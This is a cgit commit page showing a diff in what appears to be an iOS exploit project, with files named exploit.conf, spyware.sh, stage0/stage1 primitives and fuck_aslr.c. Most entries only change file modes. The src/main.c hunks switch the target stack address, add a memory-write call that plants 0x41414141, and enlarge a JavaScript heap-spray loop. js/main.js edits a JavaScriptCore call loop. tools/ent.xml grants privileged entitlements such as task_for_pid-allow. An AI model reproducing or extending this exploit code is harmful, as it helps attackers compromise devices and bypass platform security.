summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
Diffstat
-rw-r--r--[-rwxr-xr-x]build.sh0
-rw-r--r--[-rwxr-xr-x]build_native.sh0
-rw-r--r--[-rwxr-xr-x]exploit.conf0
-rw-r--r--[-rwxr-xr-x]install.sh0
-rw-r--r--[-rwxr-xr-x]install_native.sh0
-rw-r--r--js/main.js2
-rw-r--r--[-rwxr-xr-x]spyware.sh0
-rw-r--r--[-rwxr-xr-x]src/common.h0
-rw-r--r--[-rwxr-xr-x]src/ip_tools.c0
-rw-r--r--[-rwxr-xr-x]src/ip_tools.h0
-rw-r--r--src/main.c11
-rw-r--r--[-rwxr-xr-x]src/patchfinder.h0
-rw-r--r--[-rwxr-xr-x]src/stage0_primitives.c0
-rw-r--r--[-rwxr-xr-x]src/stage0_primitives.h0
-rw-r--r--[-rwxr-xr-x]src/stage1_primitives.c0
-rw-r--r--[-rwxr-xr-x]src/stage1_primitives.h0
-rw-r--r--[-rwxr-xr-x]tools/build.sh0
-rw-r--r--[-rwxr-xr-x]tools/ent.xml28
-rw-r--r--[-rwxr-xr-x]tools/fuck_aslr.c0
-rw-r--r--[-rwxr-xr-x]tools/fuck_ptr.c0
-rw-r--r--[-rwxr-xr-x]tools/jit_all_the_things.c0
-rw-r--r--[-rwxr-xr-x]tools/test.c0
22 files changed, 22 insertions, 19 deletions
diff --git a/build.sh b/build.sh
index 3bd3809..3bd3809 100755..100644
--- a/build.sh
+++ b/build.sh
diff --git a/build_native.sh b/build_native.sh
index 12ec3b9..12ec3b9 100755..100644
--- a/build_native.sh
+++ b/build_native.sh
diff --git a/exploit.conf b/exploit.conf
index 8bf3bf1..8bf3bf1 100755..100644
--- a/exploit.conf
+++ b/exploit.conf
diff --git a/install.sh b/install.sh
index 3dcfb9c..3dcfb9c 100755..100644
--- a/install.sh
+++ b/install.sh
diff --git a/install_native.sh b/install_native.sh
index 325515a..325515a 100755..100644
--- a/install_native.sh
+++ b/install_native.sh
diff --git a/js/main.js b/js/main.js
index b75af4e..7f1e78e 100644
--- a/js/main.js
+++ b/js/main.js
@@ -69,7 +69,7 @@ function main() {
// call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x149000, 0, 0), 0x28, 0x148000, i, slide);
// call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x14a000, 0, 0), 1, 0x1, 0x2, 0x3);
calls4arg("syslog\0", 0x28, sptr("get rekt from jsc %d (slide=%x)\n\0"), i, 0);
- calls4arg("sleep", 1, 0, 0, 0);
+// calls4arg("sleep", 1, 0, 0, 0);
i++;
// call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x149000, 0, 0), 0x148000, i, 0x2, 0x3);
}
diff --git a/spyware.sh b/spyware.sh
index dac5939..dac5939 100755..100644
--- a/spyware.sh
+++ b/spyware.sh
diff --git a/src/common.h b/src/common.h
index 9550400..9550400 100755..100644
--- a/src/common.h
+++ b/src/common.h
diff --git a/src/ip_tools.c b/src/ip_tools.c
index 6e36b64..6e36b64 100755..100644
--- a/src/ip_tools.c
+++ b/src/ip_tools.c
diff --git a/src/ip_tools.h b/src/ip_tools.h
index a011094..a011094 100755..100644
--- a/src/ip_tools.h
+++ b/src/ip_tools.h
diff --git a/src/main.c b/src/main.c
index 124affa..3c8d513 100644
--- a/src/main.c
+++ b/src/main.c
@@ -202,11 +202,11 @@ int main(int argc,
fprintf(fp, "# - with love from spv <3\n");
fprintf(fp, "\n");
-// uint32_t stack_base = 0x1c7738; // my shell setup
+ uint32_t stack_base = 0x1c7738; // my shell setup
// uint32_t stack_base = 0x1c7c88; // my 4s shell setup
// uint32_t stack_base = 0x1c2e48; // my lldb
// uint32_t stack_base = 0x1c7d68; // btserver env
- uint32_t stack_base = 0x1c7dd8; // wifiFirmwareLoader env
+// uint32_t stack_base = 0x1c7dd8; // wifiFirmwareLoader env
uint32_t magic_trigger_addr = 0xb6074;
uint32_t mov_r0_0_bx_lr = 0x8d3e | 1;
@@ -286,6 +286,9 @@ int main(int argc,
0x42424242));
#endif
+ fprintf(fp, "%s\n", write32_unslid(stack_base - 0x948, 0x41414141));
+ fprintf(fp, "mode_cfg{dns41.1.1.1;}");
+
#if 0
// fprintf(fp,
// "%s\n",
@@ -334,7 +337,7 @@ int main(int argc,
"var parent = new Uint8Array(0x100);"
"var child = new Uint8Array(0x100);"
" var fuck = new Array();"
- " for (var i = 0; i < 0x10000; i++) {"
+ " for (var i = 0; i < 0x200000; i++) {"
" fuck[i] = i;"
" }"
" delete fuck;"
@@ -343,7 +346,7 @@ int main(int argc,
strlen("var parent = new Uint8Array(0x100);"
"var child = new Uint8Array(0x100);"
" var fuck = new Array();"
- " for (var i = 0; i < 0x10000; i++) {"
+ " for (var i = 0; i < 0x200000; i++) {"
" fuck[i] = i;"
" }"
" delete fuck;"
diff --git a/src/patchfinder.h b/src/patchfinder.h
index 21af7e3..21af7e3 100755..100644
--- a/src/patchfinder.h
+++ b/src/patchfinder.h
diff --git a/src/stage0_primitives.c b/src/stage0_primitives.c
index b54cb1a..b54cb1a 100755..100644
--- a/src/stage0_primitives.c
+++ b/src/stage0_primitives.c
diff --git a/src/stage0_primitives.h b/src/stage0_primitives.h
index a9a71eb..a9a71eb 100755..100644
--- a/src/stage0_primitives.h
+++ b/src/stage0_primitives.h
diff --git a/src/stage1_primitives.c b/src/stage1_primitives.c
index ffe7b53..ffe7b53 100755..100644
--- a/src/stage1_primitives.c
+++ b/src/stage1_primitives.c
diff --git a/src/stage1_primitives.h b/src/stage1_primitives.h
index d6b9c33..d6b9c33 100755..100644
--- a/src/stage1_primitives.h
+++ b/src/stage1_primitives.h
diff --git a/tools/build.sh b/tools/build.sh
index 5baab83..5baab83 100755..100644
--- a/tools/build.sh
+++ b/tools/build.sh
diff --git a/tools/ent.xml b/tools/ent.xml
index 35801e8..2973d1d 100755..100644
--- a/tools/ent.xml
+++ b/tools/ent.xml
@@ -1,15 +1,15 @@
-<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
-<plist version="1.0">
-<dict>
- <key>platform-application</key>
- <true/>
- <key>com.apple.private.security.no-container</key>
- <true/>
- <key>com.apple.system-task-ports</key>
- <true/>
- <key>task_for_pid-allow</key>
- <true/>
- <key>get-task-allow</key>
- <true/>
-</dict>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+ <key>platform-application</key>
+ <true/>
+ <key>com.apple.private.security.no-container</key>
+ <true/>
+ <key>com.apple.system-task-ports</key>
+ <true/>
+ <key>task_for_pid-allow</key>
+ <true/>
+ <key>get-task-allow</key>
+ <true/>
+</dict>
</plist> \ No newline at end of file
diff --git a/tools/fuck_aslr.c b/tools/fuck_aslr.c
index c8e9714..c8e9714 100755..100644
--- a/tools/fuck_aslr.c
+++ b/tools/fuck_aslr.c
diff --git a/tools/fuck_ptr.c b/tools/fuck_ptr.c
index 25eab56..25eab56 100755..100644
--- a/tools/fuck_ptr.c
+++ b/tools/fuck_ptr.c
diff --git a/tools/jit_all_the_things.c b/tools/jit_all_the_things.c
index d955ea1..d955ea1 100755..100644
--- a/tools/jit_all_the_things.c
+++ b/tools/jit_all_the_things.c
diff --git a/tools/test.c b/tools/test.c
index 6682971..6682971 100755..100644
--- a/tools/test.c
+++ b/tools/test.c
generated by cgit v1.2.3 (git 2.39.1) at 2025-11-30 22:16:35 +0000